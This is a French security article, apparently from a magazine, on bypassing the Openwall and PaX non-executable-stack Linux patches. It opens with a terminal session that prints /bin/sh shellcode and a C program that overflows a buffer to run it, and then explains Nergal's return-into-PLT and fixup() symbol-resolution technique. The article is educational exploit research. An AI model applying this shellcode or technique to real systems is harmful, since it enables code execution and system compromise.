$ cat shellcode \xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b \x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd \x80\xe8\xdc\xff\xff\xff/bin/sh $ /usr/bin/printf `cat shellcode` > shell.dump $ /bin/cat mmap.c #include <stdio.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/stat.h> #include <unistd.h> #include <fcntl.h> int main( int argc, char * argv[] ) { char buffer[128]; char * src; int desc; struct stat statbuf; desc = open( "shell.dump", O_RDWR ); if ( desc < 0 ) exit( -1 ); if ( fstat( desc, &statbuf ) > 0 ) exit( -1 ); src = mmap( 0, statbuf.st_size, PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FILE, desc, 0 ); fputs( "mmap() done;\n", stderr ); if ( src == MAP_FAILED ) { perror( "mmap()" ); exit( -1 ); } fprintf( stderr, "0x%02x, 0x%02x;\n", *((unsigned char *)src+0), *((unsigned char *)src+1) ); *( (size_t *)&(buffer[132]) ) = (size_t)src; return( 0 ); } $ /usr/bin/make mmap cc mmap.c -o mmap $ ./mmap mmap() done; 0xeb, 0x1f; sh-2.03$
L'article [3] de Nergal décrit comment utiliser mmap() dans des exploits pour contourner PaX. Sa lecture vaut vraiment la peine :)
Différentes solutions sont envisageables pour contourner chacune de ces protections. Nous présentons ici une technique qui fonctionne pour les deux patches, inspirée par le travail de Nergal [3].
Nous ne donnons pas d'exploit pour ce paragraphe, vous pouvez le trouver dans le fichier expl-nergal.c. Nous revenons par contre sur certains détails peu évidents de son article et sur les problèmes que nous avons rencontré lors de l'écriture de l'exploit.
En règle générale, nous remplaçons l'adresse retour de la fonction
vulnérable par la PLT de la fonction que nous voulons exécuter. C'est
ici que se situe le problème (qui existait déjà auparavant, mais qui
n'était pas gênant). Pour avoir une PLT d'une fonction dans le programme
vulnérable, il faut que la fonction que nous voulons exécuter soit
appelée par le programme vulnérable. Certes, le notre comporte un
appel à execve()
et à strcpy
, mais ça n'est
pas toujours le cas.
Pour résoudre ce problème, nous demandons au programme lui-même de trouver l'adresse de la fonction que nous voulons exécuter. Le principe est de retourner directement dans la PLT en lui fournissant les arguments appropriés pour qu'elle s'occupe elle-même de résoudre le symbole que nous souhaitons. Pour cela, nous avons besoin du nom de la fonction que nous voulons exécuter, et de quelques paramètres supplémentaires. Le processus de résolution de symboles traduit le nom de la fonction (fourni sous forme d'une chaîne de caractères) en une adresse où le code de la fonction a été chargé.
Lorsqu'il rencontre un symbole inconnu lors de son exécution, le programme passe la main à une section chargée de résoudre ce symbole :
$ gdb -q vuln (gdb) disass strcpy Dump of assembler code for function strcpy: 0x8048314 <strcpy>: jmp *0x8049668 0x804831a <strcpy+6>: push $0x18 0x804831f <strcpy+11>: jmp 0x80482d4 <_init+24>
Ce petit bout de code place donc un décalage (offset)
dans la pile puis passe le contrôle au mécanisme de résolution de
symboles. En effet, l'adresse 0x80482d4
correspond
au début de la section .plt
qui, pour résumer,
appelle la fonction fixup()
(voir le fichier
$GLIBC/elf/dl-runtime.c
). Le décalage indique à la table où
chercher les renseignements dont elle a besoin. Ce processus est le même
pour toutes les fonctions :
reloc_offset
dans la fonction fixup()
) ;.plt
.Le prototype de cette fonction est :
ElfW(Addr) fixup (struct link_map *__unbounded l, ElfW(Word) reloc_offset)
Elle nécessite donc en théorie, deux arguments, mais nous devrons fournir uniquement le second, celui qui correspond au décalage dans la mémoire pour retrouver les informations dont elle a besoin.
La fonction fixup()
utilise les informations contenues
dans l'en-tête du fichier exécutable pour obtenir les adresses des
différentes sections, mais aussi deux structures qui caractérise le
symbole recherché (voir elf.h
) :
typedef uint32_t Elf32_Addr; typedef uint32_t Elf32_Word; /* Relocation table entry without addend (in section of type SHT_REL). */ typedef struct { Elf32_Addr r_offset; /* Address */ Elf32_Word r_info; /* Relocation type and symbol index */ } Elf32_Rel; /* How to extract and insert information held in the r_info field. */ #define ELF32_R_SYM(val) ((val) >> 8) #define ELF32_R_TYPE(val) ((val) & 0xff) /* Symbol table entry. */ typedef struct { Elf32_Word st_name; /* Symbol name (string tbl index) */ Elf32_Addr st_value; /* Symbol value */ Elf32_Word st_size; /* Symbol size */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility under glibc>=2.2 */ Elf32_Section st_shndx; /* Section index */ } Elf32_Sym;
Ainsi, l'objectif est de parvenir à reconstruire dans la pile le schéma représenté en figure 3, c'est-à-dire remplacer l'adresse de retour de la fonction vulnérable par la résolution de symbole qui réalise elle-même l'appel à la fonction de notre choix.
La fonction fixup()
, coeur du mécanisme de résolution,
commence par récupérer les informations dont elle a besoin :
Elf32_Rel *reloc = JMPREL + reloc_offset
Elf32_Sym *sym = &SYMTAB[ELF32_R_SYM (reloc->r_info)];
(1)Elle effectue ensuite différentes opérations pour vérifier la
validité de la requête avant de résoudre le symbole et de laisser
l'exécution se poursuivre à l'adresse de la fonction nouvellement
résolue. Nous ne détaillerons pas plus le comportement de la fonction
fixup()
car, entre l'article de Nergal et les sources
dl-runtime.c
, tout le matériel est déjà disponible.
On pourrait penser qu'il suffit de placer n'importe où en mémoire ces deux structures, sauf que :
sym
n'est pas la seule à dépendre de
reloc->r_info
:
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)Cela montre que les positions en mémoire de
sym
et
ndx
sont liées puisque ces deux variables sont
récupérées dans la mémoire à partir de reloc->r_info
.
La variable ndx
(de type short
) possède
non seulement un espace d'adressage plus restreint que celui de
sym
, mais doit également être nul (qui indique alors un
symbole local). Afin de satisfaire toutes ces contraintes simultanément,
le principe est de rechercher en mémoire un short
égal à 0,
et, à partir de sa position, calculer celle de sym
.
En revanche, la variable reloc
n'est pas soumise à ces
contraintes et peut donc être placée n'importe où en mémoire.
Cependant, il est peu probable que sym
attende sagement
à cette adresse, même si elle doit obligatoirement y être située.
Pour résoudre ce problème, nous construisons le symbole de notre
choix et le recopions à l'adresse voulue à l'aide de la fonction
strcpy()
.
Ainsi, l'exploitation se déroule en deux étapes :
strcpy()
: on recopie à l'adresse voulue la
description du symbole qu'on cherche à résoudre ;fixup()
: on déclenche le mécanisme de
résolution de symboles.
La gestion d'une fonction se déroule en 3 phases :
leave
puis ret
sont exécutées pour repasser la main à la
fonction appelante.gdb
ou à rechercher dans la littérature les articles qui
présentent ces étapes (voir [6] par exemple).
L'objectif est de remplacer, grâce au débordement, les sauvegardes
des registres %ebp
et %eip
(adresse de
retour) de la fonction vulnérable par les valeurs qui nous
arrangent (voir fig. 4) :
%ebp
, nous plaçons une adresse qui correspond
à la sauvegarde de ce même registre pour notre première fonction
(strcpy()
) ;%eip
, nous mettons n'importe quelle adresse
correspondant à l'enchaînement des instructions leave;
ret
(i.e. presque n'importe quelle terminaison
de fonction).De cette manière, lorsque le programme quitte la fonction vulnérable,
l'instruction leave
place le registre %ebp
dans la frame de la fonction strcpy()
. Ensuite, le
ret
agit sur le registre d'instructions. Celui-ci est
de nouveau dirigé vers une paire leave; ret
: le
leave
déplace le registre %ebp
vers la seconde
fonction (fixup()
). Quant au ret
, il récupère
la valeur se trouvant au sommet de la pile : l'adresse de la
fonction strcpy()
qui sera donc la prochaine exécutée (voir
fig. 5).
Après les fonctions, on place les arguments dont on a besoin (les
structures Elf32_Rel
et Elf32_Sym
pour
fixup()
).
Cette solution permet d'appeler n'importe quelle fonction. Par
exemple, dans le cas de PaX, mmap()
permet de marquer
une zone mémoire comme exécutable (PROT_EXEC
) et donc
d'exécuter un éventuel shellcode qui s'y trouverait. Elle permet
aussi de contourner la protection CONFIG_PAX_RANDMMAP de PaX (mais
certainement plus pour longtemps :).
Cette méthode d'exploitation est très puissante puisqu'elle permet de modifier tranquillement l'environnement d'exécution du programme vulnérable. Néanmoins, sa mise en oeuvre requiert une extrême précision qui semble difficilement compatible avec une exploitation à distance, vu le nombre important de paramètres d'exécution nécessaires.
Ces deux patches poursuivent le même objectif, rendre la pile non exécutable, et y parviennent de deux manières différentes. Le patch d'Openwall offre d'autres protections, non liées à l'exploitation de débordement de buffer qui sont très intéressantes. Cependant, ce patch est très facile à contourner alors que le cas de PaX est, en réalité, bien plus délicat. En effet, PaX ajoute à cette protection d'autres mécanismes (adresses variables en mémoire par exemple) qui rendent l'écriture d'exploits bien plus difficile. Certains problèmes subsistent encore avec PaX (notamment une perte de performances), mais dès qu'ils seront résolus, cette défense deviendra indispensable sur les serveurs sensibles.
grsecurity ( http://www.grsecurity.net) est un patch cumulatif qui regroupe, entre autres, les mêmes fonctionnalités du patch d'Openwall et de PaX. Toutes les options ne sont pas utiles, voire peuvent nuire sérieusement aux performances du système. Néanmoins, il permet de bénéficier des avantages des deux patches présentés dans cet article, et de quelques autres.
[1] | Protections contre l'exploitation des débordements de buffer -
Introduction MISC #1 F. Raynal, S. Dralet Sources : prot-misc1.tgz |
[2] | Defeating Solar Designer's non executable stack patch Rafal Wojtczuk (Nergal) http://www.securityfocus.com/archive/1/8470 |
[3] | The advanced return-into-lib(c) exploits: PaX case study Phrack #58 Rafal Wojtczuk (Nergal) http://phrack.org/issues/58/4.html |
[4] | Getting around non-executable stack (and fix) Solar Designer http://www.securityfocus.com/archive/1/7480 |
[5] | Le noyau Linux Daniel P. Bovet et Marco Cesati http://www.oreilly.fr/catalogue/noyau_linux.html |
[6] | Éviter les failles de sécurité dès le développement d'une
application - 2 : mémoires, pile, fonctions et shellcode F. Raynal, C. Blaess, C. Grenier http://www.cgsecurity.org/Articles/SecProg/Art2/index-fr.html |